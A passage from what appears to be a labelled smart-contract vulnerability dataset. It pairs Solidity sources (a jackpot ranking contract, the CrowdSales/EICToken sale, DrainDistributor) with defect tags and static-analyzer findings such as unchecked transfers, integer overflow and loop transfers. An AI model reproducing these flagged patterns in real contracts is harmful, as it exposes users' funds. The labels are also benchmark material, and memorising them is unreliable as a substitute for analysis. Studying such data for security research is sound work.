tokenList[idx] = betMap[user];
}
return (rankList, tokenList);
}
//Rank
function inRankList(address addr) private returns (bool) {
for (uint256 idx = 0; idx < 5; idx++) {
if (addr == rankList[idx]) {
return true;
}
}
return false;
}
function updateRankList(address payable addr) private returns (bool) {
uint256 idx = 0;
uint256 rechargeAmount = betMap[addr];
uint256 lastOne = betMap[rankList[5]];
if (rechargeAmount < lastOne) {
return false;
}
address payable[6] memory tempList = rankList;
if (!inRankList(addr)) {
tempList[5] = addr;
quickSort(tempList, 0, 5);
} else {
quickSort(tempList, 0, 4);
}
for (idx = 0; idx < 6; idx++) {
if (tempList[idx] != rankList[idx]) {
rankList[idx] = tempList[idx];
}
}
return true;
}
function quickSort(
address payable[6] memory list,
int256 left,
int256 right
) internal {
int256 i = left;
int256 j = right;
if (i == j) return;
address addr = list[uint256(left + (right - left) / 2)];
uint256 token = betMap[addr];
while (i <= j) {
while (betMap[list[uint256(i)]] > token) i++;
while (token > betMap[list[uint256(j)]]) j--;
if (i <= j) {
(list[uint256(i)], list[uint256(j)]) = (
list[uint256(j)],
list[uint256(i)]
);
i++;
j--;
}
}
if (left < j) quickSort(list, left, j);
if (i < right) quickSort(list, i, right);
}
}
interface IBubble {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function getGameOverStatus() external view returns (bool);
function transferAllEthToJackPot() external;
function sendTokenToJackpot(address sender, uint256 amount) external;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "mul overflow");
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div zero"); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "lower sub bigger");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "overflow");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "mod zero");
return a % b;
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["90"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["168"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["60"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["98", "68"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [17]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [280, 281, 282, 279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [49, 50, 51, 52]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [108, 109, 110]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [54, 55, 56, 57, 58, 59, 60, 61]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [86, 87, 88, 89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [97, 98, 99, 100, 101, 102, 103, 104, 105]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BubbleJackpot.sol": [45, 46, 47]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BubbleJackpot.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"BubbleJackpot.sol": [59]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BubbleJackpot.sol": [17]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BubbleJackpot.sol": [11]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [83]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [103]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [59]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [68]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BubbleJackpot.sol": [98]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 41, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 40, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 98, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 4, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 101, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 9, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 11, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 13, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 14, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 17, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 120, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 121, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 121, "severity": 1}] | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"bet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"countdown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getBetTokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getBubbleAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getRankListInfo","outputs":[{"internalType":"address payable[6]","name":"","type":"address[6]"},{"internalType":"uint256[5]","name":"","type":"uint256[5]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getWithdrawAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"lottery","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"contractAddr","type":"address"}],"name":"setBubbleAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"startLotteryCountdown","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | false | 200 | Default | GNU GPLv3 | false | bzzr://60090d4445968919ac61c0dc8de6279c83becc7f5bc1ce907bb3a1b13ff101c7 |
|||
CrowdSales | 0xb94dd9306302dc37f244b8fa071d2105d02a459f | Solidity | pragma solidity ^0.4.15;
/* taking ideas from FirstBlood token */
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSub(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract owned {
address public owner;
address[] public allowedTransferDuringICO;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
function isAllowedTransferDuringICO() public constant returns (bool){
for(uint i = 0; i < allowedTransferDuringICO.length; i++) {
if (allowedTransferDuringICO[i] == msg.sender) {
return true;
}
}
return false;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract Token is owned {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is SafeMath, Token {
uint public lockBlock;
/* Send coins */
function transfer(address _to, uint256 _value) returns (bool success) {
require(block.number >= lockBlock || isAllowedTransferDuringICO());
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(block.number >= lockBlock || isAllowedTransferDuringICO());
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) returns (bool success) {
assert((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/* This creates an array with all balances */
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract EICToken is StandardToken {
// metadata
string constant public name = "Entertainment Industry Coin";
string constant public symbol = "EIC";
uint256 constant public decimals = 18;
function EICToken(
uint _lockBlockPeriod)
public
{
allowedTransferDuringICO.push(owner);
totalSupply = 3125000000 * (10 ** decimals);
balances[owner] = totalSupply;
lockBlock = block.number + _lockBlockPeriod;
}
function distribute(address[] addr, uint256[] token) public onlyOwner {
// only owner can call
require(addr.length == token.length);
allowedTransferDuringICO.push(addr[0]);
allowedTransferDuringICO.push(addr[1]);
for (uint i = 0; i < addr.length; i++) {
transfer(addr[i], token[i] * (10 ** decimals));
}
}
}
contract CrowdSales {
address owner;
EICToken public token;
uint public tokenPrice;
struct Beneficiary {
address addr;
uint256 ratio;
}
Beneficiary[] public beneficiaries;
event Bid(address indexed bider, uint256 getToken);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function CrowdSales(address _tokenAddress) public {
owner = msg.sender;
beneficiaries.push(Beneficiary(0xA5A6b44312a2fc363D78A5af22a561E9BD3151be, 10));
beneficiaries.push(Beneficiary(0x8Ec21f2f285545BEc0208876FAd153e0DEE581Ba, 10));
beneficiaries.push(Beneficiary(0x81D98B74Be1C612047fEcED3c316357c48daDc83, 5));
beneficiaries.push(Beneficiary(0x882Efb2c4F3B572e3A8B33eb668eeEdF1e88e7f0, 10));
beneficiaries.push(Beneficiary(0xe63286CCaB12E10B9AB01bd191F83d2262bde078, 15));
beneficiaries.push(Beneficiary(0x8a2454C1c79C23F6c801B0c2665dfB9Eab0539b1, 285));
beneficiaries.push(Beneficiary(0x4583408F92427C52D1E45500Ab402107972b2CA6, 665));
token = EICToken(_tokenAddress);
tokenPrice = 15000;
}
function () public payable {
bid();
}
function bid()
public
payable
{
require(block.number <= token.lockBlock());
require(this.balance <= 62500 * ( 10 ** 18 ));
require(token.balanceOf(msg.sender) + (msg.value * tokenPrice) >= (5 * (10 ** 18)) * tokenPrice);
require(token.balanceOf(msg.sender) + (msg.value * tokenPrice) <= (200 * (10 ** 18)) * tokenPrice);
token.transfer(msg.sender, msg.value * tokenPrice);
Bid(msg.sender, msg.value * tokenPrice);
}
function finalize() public onlyOwner {
require(block.number > token.lockBlock() || this.balance == 62500 * ( 10 ** 18 ));
uint receiveWei = this.balance;
for (uint i = 0; i < beneficiaries.length; i++) {
Beneficiary storage beneficiary = beneficiaries[i];
uint256 value = (receiveWei * beneficiary.ratio)/(1000);
beneficiary.addr.transfer(value);
}
if (token.balanceOf(this) > 0) {
uint256 remainingToken = token.balanceOf(this);
address owner30 = 0x8a2454C1c79C23F6c801B0c2665dfB9Eab0539b1;
address owner70 = 0x4583408F92427C52D1E45500Ab402107972b2CA6;
token.transfer(owner30, (remainingToken * 30)/(100));
token.transfer(owner70, (remainingToken * 70)/(100));
}
owner.transfer(this.balance);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["222"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["209", "149"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["202"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["141"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["59"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["130", "131", "62"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["207"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["36"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["139", "141", "211"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"CrowdSales.sol": [138]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"CrowdSales.sol": [148]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"CrowdSales.sol": [24, 25, 26, 27, 28]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [66]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [144, 145, 146, 147, 148, 149, 150, 151, 152]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [192, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [59]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [67]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [45, 46, 47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [65]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CrowdSales.sol": [63]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"CrowdSales.sol": [207]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"CrowdSales.sol": [46]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"CrowdSales.sol": [46]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"CrowdSales.sol": [212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [111]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [59]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [111]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [93]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CrowdSales.sol": [106]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CrowdSales.sol": [203]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"CrowdSales.sol": [139]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CrowdSales.sol": [220]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CrowdSales.sol": [202]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"CrowdSales.sol": [219]}}] | [{"error": "Integer Overflow.", "line": 168, "level": "Warning"}, {"error": "Integer Overflow.", "line": 144, "level": "Warning"}, {"error": "Integer Overflow.", "line": 13, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 179, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 180, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 181, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 182, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 183, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 184, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 185, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 216, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 217, "severity": 1}, {"rule": "SOLIDITY_BALANCE_EQUALITY", "line": 207, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 49, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 63, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 67, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 106, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 118, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 111, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 50, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 149, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 209, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 50, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 149, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 209, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_TRANSFER_IN_LOOP", "line": 209, "severity": 2}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 190, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 144, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 36, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 59, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 63, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 64, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 106, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 118, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 157, "severity": 1}] | [{"constant":false,"inputs":[],"name":"bid","outputs":[],"payable":true,"type":"function"},{"constant":false,"inputs":[],"name":"finalize","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"tokenPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"beneficiaries","outputs":[{"name":"addr","type":"address"},{"name":"ratio","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"inputs":[{"name":"_tokenAddress","type":"address"}],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"bider","type":"address"},{"indexed":false,"name":"getToken","type":"uint256"}],"name":"Bid","type":"event"}] | v0.4.15+commit.bbb8e64f | true | 200 | 0000000000000000000000003d25ac2e37709b8f68f79c68d36ecb61480955c8 | Default | false | bzzr://74bd4e0f44ea4bc33d56941e176b5a2abf8011514bc1d26945d2389e069e8474 |
|||
DrainDistributor | 0x1543e3d0d71a8ed29019f4eb7b57d319a7051b84 | Solidity | // File: contracts/DrainDistributor.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/IWETH.sol";
interface IRewardPool {
function fundPool(uint256 reward) external;
}
interface IDrainController {
function distribute() external;
}
/**
* @title Receives rewards from MasterVampire via drain and redistributes
*/
contract DrainDistributor is Ownable {
using SafeMath for uint256;
IWETH immutable WETH;
// Distribution
// Percentages are using decimal base of 1000 ie: 10% = 100
uint256 public gasShare = 100;
uint256 public devShare = 250;
uint256 public uniRewardPoolShare = 400;
uint256 public drcRewardPoolShare = 250;
uint256 public wethThreshold = 200000000000000000 wei;
address public devFund;
address public uniRewardPool;
address public drcRewardPool;
address payable public drainController;
/**
* @notice Construct the contract
* @param uniRewardPool_ address of the uniswap LP reward pool
* @param drcRewardPool_ address of the DRC->ETH reward pool
*/
constructor(address weth_, address _devFund, address uniRewardPool_, address drcRewardPool_) {
require((gasShare + devShare + uniRewardPoolShare + drcRewardPoolShare) == 1000, "invalid distribution");
uniRewardPool = uniRewardPool_;
drcRewardPool = drcRewardPool_;
WETH = IWETH(weth_);
devFund = _devFund;
IWETH(weth_).approve(uniRewardPool, uint256(-1));
IWETH(weth_).approve(drcRewardPool, uint256(-1));
}
/**
* @notice Allow depositing ether to the contract
*/
receive() external payable {}
/**
* @notice Distributes drained rewards
*/
function distribute() external {
require(drainController != address(0), "drainctrl not set");
require(WETH.balanceOf(address(this)) >= wethThreshold, "weth balance too low");
uint256 drainWethBalance = WETH.balanceOf(address(this));
uint256 gasAmt = drainWethBalance.mul(gasShare).div(1000);
uint256 devAmt = drainWethBalance.mul(devShare).div(1000);
uint256 uniRewardPoolAmt = drainWethBalance.mul(uniRewardPoolShare).div(1000);
uint256 drcRewardPoolAmt = drainWethBalance.mul(drcRewardPoolShare).div(1000);
// Unwrap WETH and transfer ETH to DrainController to cover drain gas fees
WETH.withdraw(gasAmt);
drainController.transfer(gasAmt);
// Treasury
WETH.transfer(devFund, devAmt);
// Reward pools
IRewardPool(uniRewardPool).fundPool(uniRewardPoolAmt);
IRewardPool(drcRewardPool).fundPool(drcRewardPoolAmt);
}
/**
* @notice Changes the distribution percentage
* Percentages are using decimal base of 1000 ie: 10% = 100
*/
function changeDistribution(
uint256 gasShare_,
uint256 devShare_,
uint256 uniRewardPoolShare_,
uint256 drcRewardPoolShare_)
external
onlyOwner
{
require((gasShare_ + devShare_ + uniRewardPoolShare_ + drcRewardPoolShare_) == 1000, "invalid distribution");
gasShare = gasShare_;
devShare = devShare_;
uniRewardPoolShare = uniRewardPoolShare_;
drcRewardPoolShare = drcRewardPoolShare_;
}
/**
* @notice Changes the address of the dev treasury
* @param devFund_ the new address
*/
function changeDev(address devFund_) external onlyOwner {
require(devFund_ != address(0));
devFund = devFund_;
}
/**
* @notice Changes the address of the Drain controller
* @param drainController_ the new address
*/
function changeDrainController(address payable drainController_) external onlyOwner {
require(drainController_ != address(0));
drainController = drainController_;
}
/**
* @notice Changes the address of the uniswap LP reward pool
* @param rewardPool_ the new address
*/
function changeUniRewardPool(address rewardPool_) external onlyOwner {
require(rewardPool_ != address(0));
uniRewardPool = rewardPool_;
WETH.approve(uniRewardPool, uint256(-1));
}
/**
* @notice Changes the address of the DRC->ETH reward pool
* @param rewardPool_ the new address
*/
function changeDRCRewardPool(address rewardPool_) external onlyOwner {
require(rewardPool_ != address(0));
drcRewardPool = rewardPool_;
WETH.approve(drcRewardPool, uint256(-1));
}
/**
* @notice Change the WETH distribute threshold
*/
function setWETHThreshold(uint256 wethThreshold_) external onlyOwner {
wethThreshold = wethThreshold_;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
